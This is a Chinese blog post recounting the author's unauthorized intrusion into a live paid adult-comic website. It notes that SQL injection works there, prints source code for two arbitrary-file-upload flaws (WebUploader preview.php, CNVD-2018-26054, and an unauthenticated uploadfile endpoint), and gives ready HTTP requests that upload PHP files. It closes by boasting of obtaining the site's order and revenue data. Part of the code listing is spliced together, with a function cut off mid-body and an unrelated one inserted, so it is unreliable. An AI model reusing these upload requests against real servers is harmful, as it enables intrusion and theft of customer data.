我与XX漫画不得不说的秘密

lufei 775 次浏览 0

我与XX漫画不得不说的秘密

温馨提示

一开始我是不知道这种类型的站点的,在浏览某xx电影偶然看到了推广,抱着试试看的态度,我点击了进去。看了没多久就上瘾了。但是继续看的话需要充值。本着科学的态度,我准备友好的慰问他的网站。开始了我的充值之旅

我与XX漫画不得不说的秘密
获取一个账号,然后随便点击一个漫画。
我与XX漫画不得不说的秘密

可以注入,但是用处不大。基本都不是root权限。有兴趣的自行测试。就算你得到了管理的账号密码也是加了料的。

因为我进去过一个后台。苦于无法拿到权限。so!开始了漫长的找源码之旅。全部都是要钱的。找了N久,才找到了一个老版本的源码、大概是这个样子的。

我与XX漫画不得不说的秘密

第一处上传漏洞

在WEBUPLOADER/0.1.5/SERVER/PREBIEW.PHP

<?php
/**
 * 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
 */

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
    @mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
    if (!is_dir($DIR) || !$dir = opendir($DIR)) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
    }

    while (($file = readdir($dir)) !== false) {
        $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

        // Remove temp file if it is older than the max age and is not the current file
        if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
            @unlink($tmpfilePath);
        }
    }
    closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
    if ($type === 'jpeg') {
        $type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

} else {
    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

我与XX漫画不得不说的秘密

https://www.cnvd.org.cn/flaw/show/CNVD-2018-26054

这个漏洞。之前看过,但是都快遗忘了 !!!

在GITHUB上看到过POC

POST /webuploader/0.1.5/server/preview.php HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 586
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

data:image/php;base64,images

第二处无需登录任意上传漏洞

在 FileUploadController.class.php 中

public function uploadfile($return = false) {
        $config = array(
            'maxSize' => 314572800,
            'rootPath' => './Public/Uploads/file/',
            'savePath' => '',
            'saveName' => array('uniqid', ''),
            'autoSub' => true,
            'subName' => array('date', 'Ymd'),
        );
        $upload = new Upload($config); // 实例化上传类
        $info = $upload->uploadOne($_FILES['file']);
        $res = array(
            'code' => 0,
            'msg' => '',
            'data' => array(
                'src' => '',
                'title' => '',
            ),
        );

        if ($info) {
            $res['data']['src'] = ltrim($config['rootPath'], '.') . $info['savepath'] . $info['savename'];
            $res['data']['title'] = $info['name'];
        } else {
            $res['code'] = 1;
            $res['msg'] = $upload->getError();
//获取上传文件类型
function GetUpType($type='')
{

	global $cfg_upload_img_type,
		   $cfg_upload_soft_type,
		   $cfg_upload_media_type;


	if($type == 'image')
	{
		$uptype = explode('|',$cfg_upload_img_type);
		$upstr  = '';
		foreach($uptype as $v)
		{
			if(!empty($v))
			{
				$upstr .= '*.'.$v.';';
			}
		}
		return $upstr;
	}

	else if($type == 'soft')
	{
		$uptype = explode('|',$cfg_upload_soft_type);
		$upstr  = '';
		foreach($uptype as $v)
		{
			if(!empty($v))
			{
				$upstr .= '*.'.$v.';';
			}
		}
		return $upstr;
	}

	else if($type == 'media')
	{
		$uptype = explode('|',$cfg_upload_media_type);
		$upstr  = '';
		foreach($uptype as $v)
		{
			if(!empty($v))
			{
				$upstr .= '*.'.$v.';';
			}
		}
		return $upstr;
	}

	else if($type == 'all')
	{
		$alltype = $cfg_upload_img_type.'|'.$cfg_upload_soft_type.'|'.$cfg_upload_media_type;
		$uptype  = explode('|',$alltype);
		$upstr   = '';
		foreach($uptype as $v)
		{
			if(!empty($v))
			{
				$upstr .= '*.'.$v.';';
			}
		}
		return $upstr;
	}

	else
	{
		return $type;
	}
}

编辑器是uploadify 且未进行任何的过滤

POST /xxxx/uploadfile HTTP/1.1
Host:xxxxx
Content-Length: 513
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNpbZWVXABL2oI7jS
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryNpbZWVXABL2oI7jS
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: image/jpeg

<?php
123
------WebKitFormBoundaryNpbZWVXABL2oI7jS--

我与XX漫画不得不说的秘密

我与XX漫画不得不说的秘密
我与XX漫画不得不说的秘密

我与XX漫画不得不说的秘密

我与XX漫画不得不说的秘密

拿到订单数据,看了下总金额。 。 。 嗯么么,前一段时间还是177w 到现在都188w了 差不多十天左右的时间!!!

为了进一步扩大战果,嗯么么,打开我的佛法。
我与XX漫画不得不说的秘密

接下来就是漫长的取证工作了。。。。。

发表评论 取消回复
表情